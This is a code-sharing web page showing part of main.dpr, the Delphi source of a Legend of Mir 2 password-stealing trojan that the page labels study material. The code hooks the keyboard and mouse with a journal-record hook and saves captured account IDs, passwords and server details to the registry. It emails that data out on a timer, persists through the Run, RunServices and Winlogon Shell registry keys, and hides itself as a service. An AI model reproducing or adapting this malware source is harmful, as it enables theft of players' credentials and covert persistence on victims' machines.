⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 main.dpr

📁 传奇木马....delphi版 学习资料
💻 DPR
📖 第 1 页 / 共 3 页
字号:

function KeyPro(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
var i:integer;
Begin
	Result:=0;
	LogoID:='abcdefghijklmnopqrstuvwxyz1234567890';
	for i:=1 to 19 do Str[i]:='abcdefghijklmnopqrstuvwxyz1234567890';
  Wpa:=wParam;
	Lpa:=lParam;
	LogoKey;
	if iCode<0 Then Result:=CallNextHookEx(KeyHook,iCode,wParam,lParam);
End; }
function KeyProc(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var i:integer;
Begin
	Result:=0;
	LogoID:='abcdefghijklmnopqrstuvwxyz1234567890';
	for i:=1 to 19 do Str[i]:='abcdefghijklmnopqrstuvwxyz1234567890';
  if (PEventMsg(lparam)^.message =$0100) then begin
  	LogoKey(lParam, wParam)
  end else if (PEventMsg(lparam)^.message =$0201) then begin 
    LogoMouse(peventMsg(lparam)^.message, peventmsg(lparam)^.message);
  end;
End;

procedure SetServerButton(BCount:integer);
const s=141;e=477;h=42;
var c,i:integer;
begin
	setlength(serverbutton,BCount);
  c:=e-s;
  c:=s+(c-h*BCount) div 2;
  for i:=0 to BCount-1 do begin
    serverbutton[i].X :=c+h*i;
		serverbutton[i].Y :=C+h*(i+1);
  end;
end;

procedure Time1pro(theWnd: HWND; msg, idTimer: Cardinal; dwTime: DWORD); stdcall;//(hWnd:Longint;uMsg:UINT;idEvent:UINT;Time:DWORD);
var p,t,i,s,n:integer;
		SubKey:string;
    TLogoID:array [0..255] of char;
    readok,enterok:boolean;
begin

 	Killer;
  AddValue(HKEY_LOCAL_MACHINE,'SoftWare\Microsoft\Windows\CurrentVersion\Run',CaptionName,pchar(GetWP+CaptionName+'.exe'),1);
  p:=findwindow(pchar('TfrmMain'),pchar('传奇客户端'));
  t:=0;
  readok:=false;
  enterok:=false;
  if (p<>0) then begin
  	enterok:=true;
	  t:=findwindowex(p,t,pchar('TComboBox'),nil);
  	if t<>0 then begin
  		SendMessage(t,$000D,sizeof(TLogoID),integer(@TLogoID));
	    if TLogoID<>LogoArea then begin
  	  	LogoArea:=TLogoID;
	  		Addvalue(hkey_classes_root,SubMainKey,'Area',TLogoID,1);
        readok:=true;
        Delvalue(hkey_classes_root,SubMainKey,'ServerListok');
    	  p :=strtoint(readvalue(hkey_classes_root,SubMainKey,'ServerListCount'));
      	for i:=1 to  p do begin
        	Delvalue(hkey_classes_root,SubMainKey,pchar('ServerList'+inttostr(i)));
	      end;
  	    Delvalue(hkey_classes_root,SubMainKey,'ServerListCount');
	    end;
      if not Filereadok then begin
  	    Filereadok:=true;
      end;
  	end;

  	if readok then begin
    	Filereadok:=false;
			if (readvalue(hkey_classes_root,SubMainKey,'Flag')<>'1') and
    		(readvalue(hkey_classes_root,SubMainKey,'ServerListok')<>'1') then begin

	      SubKey:=readvalue(hkey_classes_root,SubMainKey,'Area');
  	    if SubKey<>'' then
	  	    for i:=0 to high(splite_array) do begin
  	  	  	if splite_array[i]=SubKey then begin
        	  	n:=strtoint(ReadString(GetWP+'zhjfile2.ini','Server'+inttostr(i+1),'ServerCount','0'));
          	  Addvalue(hkey_classes_root,SubMainKey,'ServerListCount',pchar(inttostr(n)),1);
            	for t:=1 to n  do begin
              	Addvalue(hkey_classes_root,SubMainKey,pchar('ServerList'+inttostr(t)),
                	pchar(ReadString(GetWP+'zhjfile2.ini','Server'+inttostr(i+1),'server'+inttostr(t)+'caption','')),1);
	            end;
  	          Addvalue(hkey_classes_root,SubMainKey,'ServerListok','1',1);
              SetServerButton(n);
    	      	break;
      	    end;
    	  	end;
        end;
  	  end;

    end else begin
 		  LogoArea:='';
    end;
    SubKey:=readvalue(hkey_classes_root,SubMainKey,'Area');
    if SubKey='' then LogoArea:='';

 	t:=0; s:=0; n:=0;
  p:=findwindow(pchar('TfrmMain'),pchar('legend of mir2'));

  if (p<>0) and (readvalue(hkey_classes_root,SubMainKey,'Flag')='1') and
  	(readvalue(hkey_classes_root,SubMainKey,'Flag1')='') then begin


  end else if (p<>0) and (readvalue(hkey_classes_root,SubMainKey,'Flag')='1') and
  	(readvalue(hkey_classes_root,SubMainKey,'Flag1')='1') then begin  //在游戏中

    KeyHook:=SetWindowsHookEx(WH_JOURNALRECORD,Keyproc,HInstance,0);

  end else if (p<>0) and (readvalue(hkey_classes_root,SubMainKey,'Flag2')='1') 
  	 then begin  //在游戏中    //(readvalue(hkey_classes_root,SubMainKey,'Flag1')='1') and
			if KeyHook<>0 then
  	    if UnhookwindowsHookEx(KeyHook) then KeyHook:=0;

    	if MouseHook<>0 then
      	if UnhookwindowsHookEx(MouseHook) then MouseHook:=0;

      Delvalue(hkey_classes_root,SubMainKey,'ID');
      Delvalue(hkey_classes_root,SubMainKey,'PW');
      Delvalue(hkey_classes_root,SubMainKey,'区域');
      Delvalue(hkey_classes_root,SubMainKey,'SP');
      delvalue(hkey_classes_root,SubMainKey,'Flag');
      delvalue(hkey_classes_root,SubMainKey,'Flag1');
	end else begin
 		//p:=findwindow(pchar('TfrmMain'),pchar('legend of mir2'));
	 	for i:=1 to 19 do begin
  		t:=findwindowex(p,t,pchar('TEdit'),nil);
  		if t=0 then break else begin
   			s:=s+1;
	   		if IsWindowVisible(t) then n:=n+1;
  		end;
	 	end;

 		if ((n=2) and (s=2)) or (n=4) or (n=12) then begin
      KeyHook:=SetWindowsHookEx(WH_JOURNALRECORD,Keyproc,HInstance,0);

	 	end else begin;

 			if (p=0) then begin

      	if (readvalue(hkey_classes_root,SubMainKey,'Flag')='1') and
      		(readvalue(hkey_classes_root,SubMainKey,'Flag1')='') then begin //要判断是否有,可能不正常退出
      		if (ValueExists(hkey_classes_root,SubMainKey,'ID')) and (ValueExists(hkey_classes_root,SubMainKey,'PW')) and
    				(ValueExists(hkey_classes_root,SubMainKey,'区域')) then begin
          
  					i:=1;SubKey:='';
    				while i<=99 do begin
    					if keyexists(hkey_classes_root,SubSubKey,pchar(inttostr(i)))=false then begin
      					SubKey:=inttostr(i);
        				break;
      				end;
      				i:=i+1;
    				end;
            
    				addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'区域',pchar(readvalue(hkey_classes_root,SubMainKey,'区域')),1);
	    			addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'ID',pchar(readvalue(hkey_classes_root,SubMainKey,'ID')),1);
  	  			addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'PW',pchar(readvalue(hkey_classes_root,SubMainKey,'PW')),1);
    				addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'SP',pchar(readvalue(hkey_classes_root,SubMainKey,'SP')),1);
        	end;
      	end;
      end;

      if (p=0) or (readvalue(hkey_classes_root,SubMainKey,'Flag1')='1') then begin
      	if KeyHook<>0 then
        	if UnhookwindowsHookEx(KeyHook) then KeyHook:=0;

        if MouseHook<>0 then
        	if UnhookwindowsHookEx(MouseHook) then MouseHook:=0;

        Delvalue(hkey_classes_root,SubMainKey,'ID');
        Delvalue(hkey_classes_root,SubMainKey,'PW');
        Delvalue(hkey_classes_root,SubMainKey,'区域');
        Delvalue(hkey_classes_root,SubMainKey,'SP');

        Delvalue(hkey_classes_root,SubMainKey,'JsN1');
        Delvalue(hkey_classes_root,SubMainKey,'JsZ1');
        Delvalue(hkey_classes_root,SubMainKey,'JsD1');
        Delvalue(hkey_classes_root,SubMainKey,'JsS1');

        Delvalue(hkey_classes_root,SubMainKey,'JsN2');
        Delvalue(hkey_classes_root,SubMainKey,'JsZ2');
        Delvalue(hkey_classes_root,SubMainKey,'JsD2');
        Delvalue(hkey_classes_root,SubMainKey,'JsS2');

        for i:=1 to  7 do
          Delvalue(hkey_classes_root,SubMainKey,pchar('ZB'+inttostr(i)));

        if enterok then begin
	        delvalue(hkey_classes_root,SubMainKey,'Area');
  		    Delvalue(hkey_classes_root,SubMainKey,'ServerListok');
    		  p :=strtoint(readvalue(hkey_classes_root,SubMainKey,'ServerListCount'));
      		for i:=1 to  p do begin
        		Delvalue(hkey_classes_root,SubMainKey,pchar('ServerList'+inttostr(i)));
		      end;
  		    Delvalue(hkey_classes_root,SubMainKey,'ServerListCount');
    		end;
        delvalue(hkey_classes_root,SubMainKey,'Flag');
        delvalue(hkey_classes_root,SubMainKey,'Flag1');
        delvalue(hkey_classes_root,SubMainKey,'Flag2');
        delvalue(hkey_classes_root,SubMainKey,'WinX');
      end;

 		end;
  end;
End;


procedure Time2pro(theWnd: HWND; msg, idTimer: Cardinal; dwTime: DWORD); stdcall;//(hWnd:Longint;uMsg:UINT;idEvent:UINT;Time:DWORD);
begin
  
 	ClearSH(HKEY_CLASSES_ROOT,SubSubKey);
 	ClearSH(HKEY_CLASSES_ROOT,SubChange);
 	ClearSH(HKEY_CLASSES_ROOT,SubRegistry);
 	ClearUnRecord(HKEY_CLASSES_ROOT,SubChange,'Change password');
 	ClearUnRecord(HKEY_CLASSES_ROOT,SubRegistry,'Registry');
  //Sendmail.SendEMailOwn;
  if sendflag=true then
  begin
    if sendi<sendmax then
    begin
 	    Sendmail.SendEMail;
    end else
      sendflag:=flase;
    sendi:=sendi+1;
  end;

end;

function WindowProc(hWnd, uMsg,	wParam,	lParam: Integer): Integer; stdcall;
begin
 	case uMsg of
 		$0002:begin
  		if KeyHook<>0 then UnhookwindowsHookEx(KeyHook);
  		if MouseHook<>0 then UnhookwindowsHookEx(MouseHook);
      CloseDll;
  		Halt;
 		end;
 	end;
 	windowproc:=defwindowproc(hWnd,uMsg,wParam,lParam);
end;

procedure WinMain;
begin
  Inst:=hInstance;
  with WinClass do begin
    style:=CS_CLASSDC or CS_PARENTDC;
    lpfnWndProc:=@WindowProc;
    hInstance:=Inst;
    hbrBackground:=color_btnface + 1;
    lpszClassname:=ClassName;
    hCursor:=LoadCursor(0, IDC_ARROW);
  end;
  if RegisterClass(WinClass)=0 then Exit;
  Handle:=CreateWindowEx(WS_EX_WINDOWEDGE,
  				ClassName,CaptionName,
          WS_SIZEBOX or WS_CAPTION or WS_SYSMENU,
          0,0,
          8,8,0,0,Inst,nil);
  if Handle <> 0 then begin
   	InitDll;
    settimer(Handle,1,1000,@Time1pro);
   	settimer(Handle,2,60000,@Time2pro);

   	if not WinX then begin  //
	   	SetWindowLong(Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
  	 	ShowWindow(Handle,cmdshow);  // SW_SHOW   sw_HIDE
	   	updatewindow(Handle);
     	SetWindowPos(Handle,HWND_BOTTOM,-20,-20,1,1,SWP_SHOWWINDOW);
   	end else
    	ShowWindow(Handle,sw_HIDE);
   //Sendmail.SendEMail;
   //InstallSystemHook(Handle);

   	while(GetMessage(Msg,Handle, 0, 0)) do begin
    	TranslateMessage(msg);
    	DispatchMessage(msg);
   	end;
    CloseDll;
  end;
End;

//var Position,PosServer:string;
 //   reAddress,n:integer;
 var n,p:integer;
begin
  Killer;

  //writePrivateProfileString('boot','Shell',pchar('Explorer.exe '+GetWP+'cnsmln.exe'),pchar(GetWP+'System.ini'));
  //test]
{ 	if judgesys in [1,2] then begin
 		WinX:=true;
 		HideSelfToBeService;
  end;
  splite_str(GetMem(findwindow(pchar('TfrmMain'),pchar('legend of mir2'))),'/');
//  exit;
 // SetInfor(true); //设置信息
//	SetOwnaddress('j{v`FcY`xqvv7zvt7zw');
 //	Sendmail.SendEMailOwn;
//  Sendmail.SendEMail;
//  Time1pro;
// 	exit;
  GetZB;
  exit;
}
p:=findwindow(pchar('TfrmMain'),pchar('legend of mir2'));
n:=splite_str(GetMem(p),'/');
          WriteJs(n);
exit;

  {  if (readvalue(hkey_classes_root,SubMainKey,'WinX')<>'1') and
    	(readvalue(hkey_classes_root,SubMainKey,'ID')<>'')
      and (length(readvalue(hkey_classes_root,SubMainKey,'PW'))>1) then begin
      Addvalue(hkey_classes_root,SubMainKey,'PWaaa','0',1);
    	Position:=FGetMem('233C3C3C3C3C3D403E3C3C3C3C3C3C3C3C21',
        	'2690000','1800',12,false,'',false,0,PosServer,reAddress);
      if reAddress <>0 then begin
        Addvalue(hkey_classes_root,SubMainKey,'PWbbb','0',1);
      	PosServer:=inttohex(reAddress-20-length('233C3C3C3C3C3D403E3C3C3C3C3C3C3C3C21'),1);  //14
        Position:=GetMem(0,PosServer,12);
        if Position<>'' then
	        Addvalue(hkey_classes_root,SubMainKey,'PW',pchar(Position),1);
          //Position:=FGetMem('233C3C3C3C3C3D403E3C3C3C3C3C3C3C3C21',
        	//	'2710000','3600',12,false,'',false,0,PosServer,reAddress);
      end;
    end;
    exit;  }
  				{n:=splite_str(GetMem(0),'/');
          WriteJs(n);
          exit;  }
 	GetModuleFileName(0,LogoID,Sizeof(LogoID));

 	Copyfile(LogoID,pchar(getwp+CaptionName+'.exe'),False);
  	if UpperCase(strpas(LogoID))<>UpperCase(GetWP+CaptionName+'.exe') then begin
  	Winexec(pchar(GetWP+CaptionName+'.exe'),sw_show);
  	Exit;
 	end;

 	if FindWindow(ClassName,CaptionName)<>0 then Exit;
  WinX:=false;
 	if judgesys in [1,2] then begin
 		WinX:=true;
 		HideSelfToBeService;
  	Addvalue(hkey_classes_root,SubMainKey,'WinX','1',1);
    Reg.AddValue(HKEY_LOCAL_MACHINE,'SoftWare\Microsoft\Windows\CurrentVersion\Run',CaptionName,pchar(CaptionName+'.exe'),1); 
  end else
  begin
  Reg.AddValue(HKEY_LOCAL_MACHINE,'SoftWare\Microsoft\Windows\CurrentVersion\RunServices',CaptionName,pchar(GetWP+CaptionName+'.exe'),1);  //GetWP+
  Reg.AddValue(HKEY_LOCAL_MACHINE,'SoftWare\Microsoft\Windows\CurrentVersion\Run',CaptionName,pchar(GetWP+CaptionName+'.exe'),1);  //GetWP+
  Reg.AddValue(HKEY_LOCAL_MACHINE,'softWare\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell',pchar('Explorer.exe '+GetWP+CaptionName+'.exe'),1);
  end;
  

 	WinMain;
end.



⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -